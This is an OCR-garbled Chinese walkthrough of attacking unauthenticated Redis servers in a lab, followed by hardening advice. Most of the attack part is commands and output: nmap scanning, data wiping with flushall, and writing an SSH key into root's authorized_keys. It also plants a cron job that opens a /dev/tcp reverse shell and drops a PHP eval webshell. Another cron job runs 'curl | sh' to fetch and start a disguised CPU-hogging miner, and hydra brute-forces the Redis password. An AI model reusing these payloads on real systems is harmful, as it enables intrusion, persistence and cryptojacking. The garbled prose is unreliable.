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1. FREXEMLG OIS B

Redis ERAfEFH 6379 i 1, {8/ nmap X AR5 28 AT 35
Nmap -A -p 6379 —script redis-info 192.168.10.129
root@kali:~# nmap -p 6379 --script redis-info 192.168.10.153 -A

) at 2017-12-14 15:44 CST

CE VERSION
open redis Redis key-wvalue store 2.6.0 (B4 bits)

2.6.32-696.c16.x86_64 x86_64

Used CPU (u
Connected clien
Connected s
Used memory:

MAC Addr pE: 10:17 (VMware)
Warning: OS = be unreliable because we could not find at least 1 open and 1 closed port
Device ‘t*,pe ge-neral

_ kernel:2.6 cpe:/o:linux:linux_kernel:3

MNetwork

TRACEROUTE

Elb and Service detectmn performed. Please repor incorrect results at https://nmap.org/submit/ .
s (1 host up) scanned in 8 ]

2. Redis REEHG FIKBUBRESE B

Nmap F4# )5 K I EHLET 6379 S AN 7] DL ACHL Redis 2B %5 4% (redis 7
FETAN A RS v T (BRIAFC B S bind 127.0.0.1, R AavEAMy ), Wi il & 1 Hoh - bk



AT LA 255 10]), BRIAECE 225 104, b loh 6379) #4825 1 LL3RE Redis fUR%L

¥ o

Jredis-cli -h 192.168.10.153

Jusr/local/redis-4.0.6/src# ./redis-cli -h 192.168.108.153

redi :E::g 1 't:j .
rr—_-di 5 deE-
37-6ob.elb. :-:55_54 .'-':55_5"'1'

_api:epoll

c94eldchbafdc355e63
tcp_pnrt G
uptime_in_aecnnds
uptime_in_da
lru_clock:

A LLEE] Redis HIMANIRSS 4 AZIRAEE, 1R 2 Redis2.8 LUE HIRCAIL AT LA 3

Redis FC & 124X At

rqqtihal; sr/local/redis-4.08.6/src# ./redis-cli -h 127.8.08.1

5 version:d.0.t

_git _shal
redis_git_dirty:0
redis build id:826f0ed481ld2ebafh
redis mode:standalone
os:Linux 3.0-kalil-amd64 x86 54
arch_p1 -
multiplexing api:epoll

atomicvar api:atomic-builtin

aaefd1cblbdc72c48e388dc 7981046
tcp_pnrt
uptime_in_seconds:22808
uptime_in dd{u.]
hz:18
lTru_clock::
executable:/
contig tile:/

A LA BT key AHO6 R E

keys *
get key



-h 192.188.152.128
> keys *

> get user
7%= get password

3. Redis B

flushall Mk Fra 2 s
del key k%A key E’Ji@%

2 ID: 1“4 128:63759> key

> del admin

= keys *

S g= flushell
(error) ERR u command ‘' flushell®
192.168.152.128 o= flushall
4
192.168.152 G= keys *

192,

4. BN ssh A4H, FKEERIERGEHR

i F I O AN — S, AL AH1E N value, key [ERR, A FETE
S 2 B BRI K 42 N root/.ssh FIER A28 #F SC 4 authorized.keys, 18 2% 1 1 08 (R A7
TESCAFEL, SRRl mT DL AR 55 48 i [ /root/.ssh I 2E — N2 LI key

® Lt H M EAER key

ssh-keygen -t rsa



known_h

rootakaliz:~/. ssh-keygen -t rsa
hEﬂEthlng public/private rsa key pair.
Enter file in which to save the key (/root/.ss
Enter passphrase {empty for no passphrase}:
Enter same passphrase again:
Your identification has been saved in /root
Your public key has been saved in /root/.ss
The kew fingerprint is:
SHA256: yelaG7qgel QxrS0S8e6yWIQIZHY83bkyi79zX6DcdUE rootekali
The k randomart image 1is:
+---[RSA 2048]----+

E

| . D000

| + ..+ 5.

|.. 4.0 0.0 .
| +. .+
|=.0.=+ 0 +.0
|o*+0.0+ =0.

1d rsa ld rsa.pub known_hosts

® AT key.txt U (AT JE H\n #4T, 4 Redis BHAMZAFAHIRIREG) SA
H AR LA G L
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

Cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

'-Lsm#umlhytm

li:~/.ssh# cd fusr/local/redis-4.0.6/src/
root@kali:/usr/local/redis-4.0.6/src# cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx
0K
root@kali:/usr/local/redis-4.0.6/srcz ]

® EEHARENM Redis:
Jredis-cli -h 192.168.10.153

rootgkali: /usr/local/redis-4.0.6/src# ./redis-cli -h 192.168.16.153

192.168.10.153:637%= ]

o I'H redis {154y 12 Niroot/.ssh Fl1Z2 b XL 144 authorized_keys
Config set dir /root/.ssh

Config set dbfilename authorized_keys



dis-4.0.6/src¢ ./redis-cli -h 192.168.10.153
config get dir

config set dir /root

config get dir

config set dbfilename authorized_keys

= f AADA 50K 3domim0YhNIaVLMISIwevk]
'?Bn\'p\\f[:nr‘IUD\ yFKYYmurs rd fo+4 ] E ) \ GpY i i SWhMwG J +ukmvEbHaKL
gk 1XMFE11W BFUEUL+hWOIpVHXP- iR1LOZSYeTYZED X yLd A : Ffc+b rootgkali\n\n\nin"

o KR RAFAENR S A A b (A7 B AIEURE key.txt)

Save

® T LLH ssh i mEigEd:

ssh 192.168.10.153

The dUthEﬂthlT“ DT hD 2. 1 ). 15 can't be
RSA key fingerprint is ¢ GOJoSWO ] S0n7DzMdbg
Are you sure you want to continue connecting ( /no]
Warning: Permanently added 2.168.10.153" (RSA) to the lis
Last login: Thu Dec 14 18:56:00 2017 from 192.168.10.1
[root@EUbantu ~J# ifconfig
ethd Link encap:Ethernet Hwaddr 8
inet addr: )
inett add
UP BROADC ‘ 3 :
RX packets:6 :0 0 frame:o0
TX packets:4645 carrier:@
collision
RX byt 77 (35.5 Mi j X by 9 (5.9 MiB)

ATDLE RIS, GmfEn] OER:, B EIRS AT ip
® 1 LL7E centos iXiZ#E N/root/.ssh H3%, & —F authorized_keys ) SC#F N %

Cat /root/.ssh/authorized_keys

[root@Ubantu ~J% ca

7E authorized_keys {4 H 1] LUE 2| redis HIRRA 5 FFRATE N~

5. ¥£ crontab BEEERES
JRH RIS AH—REN, RREHR—-TFTE5ANNINERNSRE, BUEE4
® ERMEFE PRI — NG ne -l 4444



[root@AMG ~1# nc -1 4444

® LEPEredis, 5 A shell

./redis-cli -h 192.168.152.128

set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron

config set dbfilename root

save

* ¥ fbin/bash -i>& /dev/tcp/192.16!
= config set di spool/cron

o> config set dbfilename root

® 1 HrHT SR P hipiX 1A W B AR 55 s 0 e I R 1Y) shell

[root@AMG ~1# nc -1 4444
[root@Ubantu redis-4.09.1]# 1fconfig
ifconfig
etho Link encap: Ethernet Hwaddr 5]
inet addr:1 B
inets add
UP BROAD
RX packe

1 (7.8 MiB)

Link encap:Local Lnnpback
inet addr:127.0.0.1 Mask
inet6 addr: ::1/12
RUNNING 6 Metric:1
0 dropped:® overruns:0 frame:0
dropped:8 overruns:8 carrier:0
ueuelen:a
.3 KiB) TX byt 360 (2.3 KiB)

[root@Ubantu redis-4.0.1]# []

6. 7£web H®XTE A webshell
L redis 7EF8 2 ) web H 3 NEAN—AJUEARL, FHZEJ1ER AT I8 B4 Ak 5525 10 H 1

® fREiER: redis, 7E web H3EE N webshell

./redis-cli -h 192.168.152.128

config set dir /var/www/html



set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php

save

[ root@AMG 1 1 -h 192.168.152.128
redis 1982.168.152.12 &> config set dir /
0K

redis 152.168.152. 379> key

1) "

redis 192.

(integer) 1

redis 192.168.152.128:637%> “wn\n\n<?php @eval(s POST['c']);
0K

redis 182.168.152.1: 379> config set dbfilename webshell.php

OK

redis 182.

OK

redis 182.

o JHTIEH

1
(01 sEstn@20100828 | g 1132.168.152.1 28 wes... [ el

1 Fvar S hml/ | &R SHRE 20171215+ BH )L
192, 168, 152, 128 B (1), It s) £ Rl Fols Bt B[] szl
o e/ . oyt o]
B I var ) Typel
= 100
= [ SEE
=oE s

® I TTLLZ AT A2

o

tp:/192.186.152128/mebs..

EFE71E2000928 | B bttp: 192,162, 152.1 28/ webs...




7. BAEZY#RE

FIriE “d2n™” S B A E SERUAR ok — TR 2% A8 TR, SR ORAIE BE AR T R 2% 73 A 2
WK ARG — Bk o EUAE M 2% 2 B 3 I A0 R R, AR B2 204 10 73 B A5 2]
TN ERE T S B PR T 2 2 B e I R AR N S &, RS A R
CRGER S, B RERNIHE A, A 2 KE S cpu, SEARSGREL, ME
NS KT

AR 55 ds EARAZH AR A PR 5

MR, M LI A E R RS AR, FE AR ST 4R € H 3% L A% —4> watch-smartd
ALY, —4 shell A 1.sh (EA& I SCHFERINEE x BUR)

vim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
Export PATH

Chmod +x /root/test/watch-smartd

Exit ©

7 kali iz FE % # redis

./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set watch-smartd "\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"
set 1.sh "\n\n\n/1lsh/root/test/1.sh\n\n"

save

— %0 5 7E centOS _/root/test H % T & F watch-smartd AR

[root@Ubantu testle 11

2HA= 2228

-rw-r--r--. 1 root root 44 1285 20 18:42 123
-Mw-r--r--. 1 root root 2274080 128 22 05:27 watch-smartd
[root@Ubantu testle 11

BA=E 2228

-mw-r--r--. 1 root root 44 128 20 18:42 123
-rwxr-xr-x. 1 root root 2274080 128 22 05:27 watch-smartd
[root@Ubantu test]z []

i top iy 2 & E cpu {HHIF N



FID USER PR NI VIRT RES SHR S|%CPU %MEM TIME+ COMMAMND
5190 root 20 ) O/m 5204 1 S/99.8 B8.5 8 watch-smartd
root 208 O 19: SeE 12: : .. J:d .15 1natT
root 20 0 0 B 25 0.0 0.8 0 .00 kthreadd
root 0 ) g 35 0.0 0.8 0:00.00 migration/O
root 200 @ g g 35 0.0 0.8 0:00.66 ksoftirgd/o

[ = TR

root 0 : ) 25 0.0 0.0 : )0 stopper/0
root 0 ) 0 05 0.8 3 B watchdeg/@
root 20 ) : : 25 0.0 0.0 0:54.27 events/0

]l

BRI, BNERALS, BFEE RSN EIZE KD A shell [lIA 1.shVim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
if [ ! -f "/tmp/watch-smartd" ];

then
wget http://192.168.152.138/watch/watch-smartd -0 /tmp/watch-
smartd
else
chmod +x /tmp/watch-smartd
fi
exit 0

7 kali b redis i fE 5

./redis-cli -h 192.168.152.128

Config set dir /var/spool/cron

Config set dbfilename root

set xxx "\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
set xxxx "\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"

save

s-4.0.1/src# ./redis-cli -h 192.168.152.128

wnhnhn®/1 * ¥ ¥ % curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
"“\n\n\n*/1 * * * * fimp/. /watch-smartd\ni\nin"
> conflg set dir /war/spool/cron

7%= config set dbfilename root

14385, 7F centos [fi/tmp H % 7] LLE RI¥28 K S watch-smartd, I H 2 A x AR



testing virtual-root.F6FNkw urtuﬂl rucut Zh:.nT
virtual-root. W virtual-root.
virtual-root. (jZ virtual-root.I7p
bb b virtual-root.cIqR18 virtual-root.
gconfd-gdm ing orbit- qdm virtual-root.dFrEtL virtual-root.N
gconfd-root <eyring ] passwd .bak virtual-root.el virtual-root.N
bgui i ul:.e exlcmM uhlllq virtual-root. virtual-root.N
AKST virtual-root.en07uT virtual-root.
virtual-root.EqgsYe virtual-root.

testing virtual-root.F6FNkw urtuﬂl rucut Zh:.nT
virtual-root. W virtual-root.
virtual-root. jZ virtual-root.I7p
b virtual-root. chF]" virtual-root.
orbit- qdm virtual-root.dFrEtL virtual-root.N b
wd .bak virtual-root. virtual-root.N No watch-smartd
ul:.e exlcmM uhlllq virtual-root. virtual-root.N
XKS virtual-root.enQ7uT virtual-root.
C pul:.e Zuy( virtual-root.EqgsYe virtual-root.
You have new mail in ! pDDl'I’I’Idll'rDD‘t
[root@Ubantu tmpl# 11
- r- 1 root root
You have new mail in
[root@Ubantu tmplz i

3414 root 5] 5288 13 ] D 3 0:40.49 watch-smartd
root 9 19: 5 36 S 0.0 0.2 0:01.79 1nit
root 20 8 8 8 S 0.0 0.0 0:00.00 kthreadd
root g g g 95 0.0 0.0 0:00.80 migration/®
root : ] 0
root : ). B
root § § g 35 0.6 0.0 0:00.0 “dtchdng'ﬁ

O LN e LA Pl et

8. M redis #ATHSL

redis 2.6 WEB T lua JIAIE, £85%E redis RERIPPRT, FTLARAIA lua BUTRS
>

® ARHiES—/ lua fiIA

vim hello.lua
local msg = "hello,hack!™"

return msg

® X MIER redis IREAEIFPUT hello.lua
Jredis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128

config zfP. rio.h
[ root@AMG " i 1 "s{cat hello.lual)" 8 -h 192.1
"hello,hack!

[ root@AMG

9. FHA hydra /11 redis %5
1§ hydra T 7] LA} redis #E47 % J105 R

Hydra -P passwd.txt redis://192.168.152.128



:~# hydra -P passwd.txt redis://192.168.152.128
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-17 12:26:55
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:1/p:10),

1 try per task

[DATA] attacking redis://192.168.152.128:6379/

[6379][redis] host: 192.168.152.128 password: yes

1 of 1 target successfully completed, 1 valid password found

Hydra (http:/iwww.thc.org/thc-hydra) finished at 2017-12-17 12:26:56
~#

0x04 Redis HE
redis ZEERIANTEIL T, R—ASA M H SR, bl EhE .

1. BLE redis H&E

o ¥ redis MACE UM (ERiA redis.conf ).

® IJFEE M, F lodfile (ATEEH £, IAER loglevel 1] logfile), B
H R lodfile"

® [l & logfile ¥4, #li: logfile "/usr/local/redis/redis.log"

165 loglevel verbose

166

167 # Specify the log file name. Also the empty string can be used to force
168 # Redis to log on the standard output. Mote that if you use standard
169 # output for logging but daemonize, logs will be sent to /dev/null

176 logfile "/usr/local/redis-4.8.1/redis.log"

o [REFACE CMF, LAILECE SCFEZ) redis, 1XI redis 5 AIHE AL il — >
HERE, A ABH#BcH (BOVRMA SRS 2 7 HEXH

./redis-server ../redis.conf

[root@Ubantu srcl# ./redis-server ../redis.conf




. modified=0, pid=6100, just started

n=4.
n loaded
Increased maximum number of open files to 10032 (it was originally set to 1824).

Red .0.1 (Be /@) 64 bit
Running in standalone mode

Port:
PID:

http://redis.1i

® loglevel ZHIKBLE HESEHN, FAR LUEBCE SCHF b RyER:

# Specify the server verbosity level.

# This can be one of:

# debug (a lot of information, useful for development/testing)

# verbose (many rarely useful info, but not a mess Llike the debug level)
# notice (moderately verbose, what you want in production probably)

# wamming (only very important / critical messages are logged)

loglevel wverbose

2. HEANRE
o U VEMIMIRNTIE], FAS P mFRERE, YT X BinA £/ key

B clients connected (8
Accepted 192.168.152.
I clients connected

1 clients connected
clients connected
clients connected
clients connected
clients cnnnected

DB B: 1 keys

1
1
1
1

Hccepted
Accepted
Accepted
Accepted
Accepted
Accepted
Accepted
Accepted
Accepted
Hccepted > :
cnnnectlnn
connection
connection
connection
connection
connection
connection
connection
closed conmection
closed connection

1¢
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
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1. 2 F—EGEdar S (EB redis 4 He4%0
B redis.conf SCfF, SREEFZFEIEN DB SCAFHbhE AR & G i 4 1 44 A

rename-command FLUSHALL "" B¢ rename-command FLUSHALL “"namel"
rename-command CONFIG "" % rename-command CONFIG "name2"
rename-command EVAL "" % rename-command EVAL "name3"

2. DMERRIZIT Redis k% (F )3 redis 4 AR
A Redis HR&GIEE I P A B3¢, H HACEZE &0

groupadd -r redis && useradd -r -g redis redis

3. A Redis WWINZEMIGIE (FE )5 redis 4 GEAR0
&% redis.conf 30, ¥sin

requirepass mypassword // GERE redis NERBSCRN SN, E#EH auth TAIE)

4. #EAMR5 A Redis (5 redis A BEAE 0D
B redis.conf SCfF, WinEfsek, 175 Redis ARSs RAE4HT EHLAT

bind 127.0.0.1

£ redis3.2 2 J5, redis #j1T protected-mode, 7EXAMEINT, AE4RE IP B A N E %
B i B 2 2> 4

5. BN

&I & A redis.conf SCAF

Port 6379 / /BN A 6379, BUONHAEG 1 OR 5 B MRS R AT
Lo

6. f#ifF authorized keys U424
NTARIEZE 4, 5N A% BH L H A P AR s i A 8
® ¥ authorized keys HIRPR ¥ B NXHIA # Rk, HuH B ETAR

chmod 400 ~/.ssh/authorized_keys
® NfRiE authorized_keys HIRRA S i, 18 75 W B 1Z U immutable AZAFR :
chattr +i ~/.ssh/authorized_keys

® BT LIE 4 ~/.ssh, SRIGHIE ~/.ssh H3A authorized_keys U1, HiE fix
Fhigml, FHEE ~/ssh [ immutable AR

chattr +i ~/.ssh
7. WEB KBRS
W IEF S Redis k55 Epi HA RS 28K i), wJLLIXE iptables SRES{X 0 Vr45 €
# 1P 2K1Jj Ml Redis k%5 .



